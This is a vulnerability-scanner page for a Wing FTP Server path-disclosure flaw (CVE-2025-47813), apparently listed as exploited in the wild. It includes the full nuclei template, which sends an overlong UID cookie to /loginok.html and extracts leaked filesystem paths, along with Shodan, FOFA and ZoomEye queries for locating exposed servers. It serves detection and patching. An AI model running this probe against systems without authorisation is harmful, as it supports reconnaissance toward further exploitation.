Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie

Exploited in the wild. Listed by CISA on 2026-03-16; known to be used by ransomware.

mediumseverity

5.3CVSS score

62.5%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813). The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an overlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further exploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.

Impact

Authenticated attackers can supply an overlong UID cookie value to trigger error responses that disclose the full local filesystem path, aiding in further exploitation attempts.

Fix

Upgrade Wing FTP Server to version 7.4.4 or later that properly validates UID cookie values.

How to confirm it

Send: POST {{BaseURL}}/loginok.html
Positive when: contains "Server Path" or "Error" or ":\\\\" or "/usr/" AND contains in header "Wing FTP Server"

Run it with nuclei: nuclei -id CVE-2025-47813 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2025-47813

info:
  name: Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie
  author: rcesecurity,pdteam
  severity: medium
  description: |
    Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).
    The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an
    overlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further
    exploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.
  impact: |
    Authenticated attackers can supply an overlong UID cookie value to trigger error responses that disclose the full local filesystem path, aiding in further exploitation attempts.
  remediation: |
    Upgrade Wing FTP Server to version 7.4.4 or later that properly validates UID cookie values.
  reference:
    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
    - https://www.wftpserver.com
  classification:
    epss-score: 0.62512
    epss-percentile: 0.99196
    cve-id: CVE-2025-47813
    cwe-id: CWE-209
    cvss-score: 5.3
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH
  metadata:
    product: wftpserver
    vendor: wing_ftp_server
    verified: false
    shodan-query:
      - http.html_hash:2121146066
      - http.favicon.hash:963565804
      - title:"Wing FTP Server"
      - "Server: Wing FTP Server"
    fofa-query:
      - icon_hash="963565804"
      - title="Wing FTP Server"
    zoomeye-query:
      - app="Wing FTP Server"
  tags: cve,cve2025,wingftp,unauth,exposure,vuln,kev,vkev

variables:
  longuid: "{{repeat('A', 2048)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/loginok.html"

    headers:
      Cookie: "UID={{longuid}}"
      Content-Type: application/x-www-form-urlencoded

    body: "username=anonymous&password=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Server Path"
          - "Error"
          - ":\\\\"  # Windows path
          - "/usr/"  # Linux path
        condition: or

      - type: word
        part: header
        words:
          - "Wing FTP Server"

    extractors:
      - type: regex
        part: body
        regex:
          - '([a-zA-Z]:[\\/][^A\r\n]{10,})'

References

Use this check only on systems you are authorised to test. Where the data comes from